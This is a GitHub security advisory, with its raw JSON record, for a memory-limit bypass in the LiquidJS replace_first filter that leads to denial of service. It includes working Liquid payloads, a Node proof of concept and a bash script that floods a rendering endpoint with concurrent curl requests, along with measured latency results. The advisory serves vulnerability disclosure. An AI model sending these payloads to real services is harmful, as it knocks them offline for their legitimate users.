GHSA-6Q5M-63H6-5X4V
Vulnerability from github – Published: 2026-03-25 17:44 – Updated: 2026-03-30 13:53Summary
The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.
Details
The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $` (insert the portion before the match).
The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.
An attacker can build a 1MB string (within memoryLimit budget), then use replace_first with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.
By chaining this technique across multiple variable assignments, exponential amplification is achieved:
| Stage | Input Size | $& Repetitions |
Output Size | Cumulative memoryLimit Charge |
|---|---|---|---|---|
| 1 | 1 byte | 50 | 50 bytes | ~1 byte |
| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |
| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |
| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |
| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |
Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).
Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replace_last filter uses manual substring operations and is also safe. Only replace_first is affected.
// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length) // Only charges input
return str.replace(stringify(arg1), arg2) // $& expansion uncharged!
}
// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal
}
PoC
Prerequisites:
- npm install liquidjs@10.24.0
- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)
Save the following as poc_replace_first_amplification.js and run with node poc_replace_first_amplification.js:
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Verify $& expansion in replace_first
console.log('=== Step 1: $& expansion in replace_first ===');
const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
console.log('Result:', await engine.parseAndRender(step1));
// Output: "HELLO-HELLO-HELLO" — $& expanded to matched string
// Step 2 — Verify replace (split/join) is safe
console.log('\n=== Step 2: replace is safe ===');
const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
console.log('Result:', await engine.parseAndRender(step2));
// Output: "$&$&$&" — $& treated as literal
// Step 3 — 5-stage exponential amplification (50x per stage)
console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
const amp50 = '$&'.repeat(50);
const step3 = [
'{% assign s = "A" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{{ s | size }}'
].join('');
const startMem = process.memoryUsage().heapUsed;
const result = await engine.parseAndRender(step3);
const endMem = process.memoryUsage().heapUsed;
console.log('Output string size:', result.trim(), 'bytes'); // "312500000"
console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();
Expected output:
=== Step 1: $& expansion in replace_first ===
Result: HELLO-HELLO-HELLO
=== Step 2: replace is safe ===
Result: $&$&$&
=== Step 3: Exponential amplification (625,000:1) ===
Output string size: 312500000 bytes
Heap increase: ~625.0 MB
Amplification: ~625,000:1 (1 byte input → 312.5 MB output)
memoryLimit charged: < 7 MB (only input lengths counted)
The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.
Demonstrated Denial of Service (concurrent attack)
After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.
Raw Liquid template payload sent by attacker:
{% assign s = "A" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{{ s }}
$&is a JavaScriptString.prototype.replace()backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB).{{ s }}forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.
#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement
DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"
echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="
# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
(
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=$PAYLOAD"
t2=$(date +%s%3N)
echo "DoS[$i]: $(( t2 - t1 ))ms"
) &
done
# Legitimate user requests at 0s, 3s, 6s
(
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=<h1>Hello</h1>"
t2=$(date +%s%3N)
echo "Normal[0s]: $(( t2 - t1 ))ms"
) &
(
sleep 3
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=<h1>Hello</h1>"
t2=$(date +%s%3N)
echo "Normal[3s]: $(( t2 - t1 ))ms"
) &
(
sleep 6
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=<h1>Hello</h1>"
t2=$(date +%s%3N)
echo "Normal[6s]: $(( t2 - t1 ))ms"
) &
wait
echo "=== Done ==="
Empirical results (Node.js v20.20.1, LiquidJS 10.24.0):
Normal[0s]: 13047ms ← request sent concurrently with attack — 13s delay
Normal[3s]: 10124ms ← still blocked 3 seconds later — 10s delay
Normal[6s]: 7186ms ← still blocked 6 seconds later — 7s delay
DoS[1]: 14729ms
DoS[2-20]: 17747ms ~ 25353ms
With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.
HTTP Reproduction (for applications that accept user templates)
# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'
# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'
# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'
# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done
# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'template=<h1>Hello</h1>' &
wait
Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.
Impact
memoryLimitsecurity bypass: The memory limit is rendered ineffective for templates usingreplace_firstwith$&patterns.- Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.
- Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):
| Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |
|---|---|---|---|
| 10 | 3.2s | 640x | ~11s |
| 20 | 10.9s | 2,180x | ~29s |
With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33287"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T17:44:23Z",
"nvd_published_at": "2026-03-26T01:16:27Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `replace_first` filter in LiquidJS uses JavaScript\u0027s `String.prototype.replace()` which interprets `$\u0026` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.\n\n### Details\nThe `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript\u0027s native `String.prototype.replace()`. This native method interprets special replacement patterns including `$\u0026` (insert the matched substring), `$\u0027` (insert the portion after the match), and `` $` `` (insert the portion before the match).\n\nThe filter calls `memoryLimit.use(str.length)` to account for the **input** string\u0027s memory cost, but the **output** string \u2014 potentially many times larger due to `$\u0026` expansion \u2014 is never charged against the memory limit.\n\nAn attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$\u0026`. Each `$\u0026` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.\n\nBy chaining this technique across multiple variable assignments, exponential amplification is achieved:\n\n| Stage | Input Size | `$\u0026` Repetitions | Output Size | Cumulative `memoryLimit` Charge |\n|-------|-----------|-------------------|-------------|-------------------------------|\n| 1 | 1 byte | 50 | 50 bytes | ~1 byte |\n| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |\n| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |\n| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |\n| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |\n\n**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).\n\nNotably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$\u0026` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.\n\n```typescript\n// src/builtin/filters/string.ts:130-133 \u2014 VULNERABLE\nexport function replace_first (v: string, arg1: string, arg2: string) {\n const str = stringify(v)\n this.context.memoryLimit.use(str.length) // Only charges input\n return str.replace(stringify(arg1), arg2) // $\u0026 expansion uncharged!\n}\n\n// src/builtin/filters/string.ts:125-129 \u2014 SAFE (for comparison)\nexport function replace (v: string, arg1: string, arg2: string) {\n const str = stringify(v)\n this.context.memoryLimit.use(str.length)\n return str.split(stringify(arg1)).join(arg2) // split/join: $\u0026 treated as literal\n}\n```\n\n### PoC\n**Prerequisites**:\n- `npm install liquidjs@10.24.0`\n- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)\n\nSave the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\n(async () =\u003e {\n const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n // Step 1 \u2014 Verify $\u0026 expansion in replace_first\n console.log(\u0027=== Step 1: $\u0026 expansion in replace_first ===\u0027);\n const step1 = \u0027{{ \"HELLO\" | replace_first: \"HELLO\", \"$\u0026-$\u0026-$\u0026\" }}\u0027;\n console.log(\u0027Result:\u0027, await engine.parseAndRender(step1));\n // Output: \"HELLO-HELLO-HELLO\" \u2014 $\u0026 expanded to matched string\n\n // Step 2 \u2014 Verify replace (split/join) is safe\n console.log(\u0027\\n=== Step 2: replace is safe ===\u0027);\n const step2 = \u0027{{ \"ABCDE\" | replace: \"ABCDE\", \"$\u0026$\u0026$\u0026\" }}\u0027;\n console.log(\u0027Result:\u0027, await engine.parseAndRender(step2));\n // Output: \"$\u0026$\u0026$\u0026\" \u2014 $\u0026 treated as literal\n\n // Step 3 \u2014 5-stage exponential amplification (50x per stage)\n console.log(\u0027\\n=== Step 3: Exponential amplification (625,000:1) ===\u0027);\n const amp50 = \u0027$\u0026\u0027.repeat(50);\n const step3 = [\n \u0027{% assign s = \"A\" %}\u0027,\n \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n \u0027{{ s | size }}\u0027\n ].join(\u0027\u0027);\n\n const startMem = process.memoryUsage().heapUsed;\n const result = await engine.parseAndRender(step3);\n const endMem = process.memoryUsage().heapUsed;\n\n console.log(\u0027Output string size:\u0027, result.trim(), \u0027bytes\u0027); // \"312500000\"\n console.log(\u0027Heap increase:\u0027, ((endMem - startMem) / 1e6).toFixed(1), \u0027MB\u0027);\n console.log(\u0027Amplification: ~625,000:1 (1 byte input -\u003e 312.5 MB output)\u0027);\n console.log(\u0027memoryLimit charged: \u003c 7 MB (only input lengths counted)\u0027);\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: $\u0026 expansion in replace_first ===\nResult: HELLO-HELLO-HELLO\n\n=== Step 2: replace is safe ===\nResult: $\u0026$\u0026$\u0026\n\n=== Step 3: Exponential amplification (625,000:1) ===\nOutput string size: 312500000 bytes\nHeap increase: ~625.0 MB\nAmplification: ~625,000:1 (1 byte input \u2192 312.5 MB output)\nmemoryLimit charged: \u003c 7 MB (only input lengths counted)\n```\n\nThe `memoryLimit` of 100MB is completely bypassed \u2014 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.\n\n#### Demonstrated Denial of Service (concurrent attack)\n\nAfter confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.\n\n**Raw Liquid template payload sent by attacker:**\n```liquid\n{% assign s = \"A\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{{ s }}\n```\n\n\u003e `$\u0026` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x \u2192 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.\n\n```bash\n#!/bin/bash\n# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement\n\nDOLLAR=\u0027$\u0026\u0027\nREP50=$(printf \"${DOLLAR}%.0s\" {1..50})\nPAYLOAD=\"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{{ s }}\"\n\necho \"=== Advisory 2 DoS: 20 concurrent + normal user ===\"\n\n# 20 DoS attack requests (per-request timing)\nfor i in $(seq 1 20); do\n (\n t1=$(date +%s%3N)\n curl -s -o /dev/null --max-time 120 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n --data-urlencode \"template=$PAYLOAD\"\n t2=$(date +%s%3N)\n echo \"DoS[$i]: $(( t2 - t1 ))ms\"\n ) \u0026\ndone\n\n# Legitimate user requests at 0s, 3s, 6s\n(\n t1=$(date +%s%3N)\n curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n t2=$(date +%s%3N)\n echo \"Normal[0s]: $(( t2 - t1 ))ms\"\n) \u0026\n\n(\n sleep 3\n t1=$(date +%s%3N)\n curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n t2=$(date +%s%3N)\n echo \"Normal[3s]: $(( t2 - t1 ))ms\"\n) \u0026\n\n(\n sleep 6\n t1=$(date +%s%3N)\n curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n t2=$(date +%s%3N)\n echo \"Normal[6s]: $(( t2 - t1 ))ms\"\n) \u0026\n\nwait\necho \"=== Done ===\"\n```\n\n**Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0):\n```\nNormal[0s]: 13047ms \u2190 request sent concurrently with attack \u2014 13s delay\nNormal[3s]: 10124ms \u2190 still blocked 3 seconds later \u2014 10s delay\nNormal[6s]: 7186ms \u2190 still blocked 6 seconds later \u2014 7s delay\nDoS[1]: 14729ms\nDoS[2-20]: 17747ms ~ 25353ms\n```\n\nWith 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\n```bash\n# $\u0026 expansion \u2014 should return \"HELLO-HELLO-HELLO\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{{ \\\"HELLO\\\" | replace_first: \\\"HELLO\\\", \\\"$\u0026-$\u0026-$\u0026\\\" }}\"}\u0027\n\n# replace is safe \u2014 should return literal \"$\u0026$\u0026$\u0026\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{{ \\\"ABCDE\\\" | replace: \\\"ABCDE\\\", \\\"$\u0026$\u0026$\u0026\\\" }}\"}\u0027\n\n# 5-stage 50x amplification \u2014 produces ~312.5MB response\ncurl -s -X POST http://\u003capp\u003e/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{{ s | size }}\"}\u0027\n```\n```bash\n# 20 concurrent DoS attack requests\nfor i in $(seq 1 20); do\n curl -s -o /dev/null --max-time 120 -X POST \"http://\u003capp\u003e/render\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n --data-urlencode \u0027template={% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{{ s }}\u0027 \u0026\ndone\n\n# Legitimate user request (concurrent)\ncurl -w \"Normal: %{time_total}s\\n\" -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/render\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n --data-urlencode \u0027template=\u003ch1\u003eHello\u003c/h1\u003e\u0027 \u0026\n\nwait\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.\n\n### Impact\n- **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$\u0026` patterns.\n- **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.\n- **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified):\n\n | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |\n |---------------------------|------------------------|-------------|---------------|\n | 10 | 3.2s | **640x** | ~11s |\n | 20 | **10.9s** | **2,180x** | ~29s |\n\n With 20 concurrent requests, legitimate user requests are **delayed by 10.9 seconds** and the server becomes **completely unresponsive for 29 seconds**. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.",
"id": "GHSA-6q5m-63h6-5x4v",
"modified": "2026-03-30T13:53:32Z",
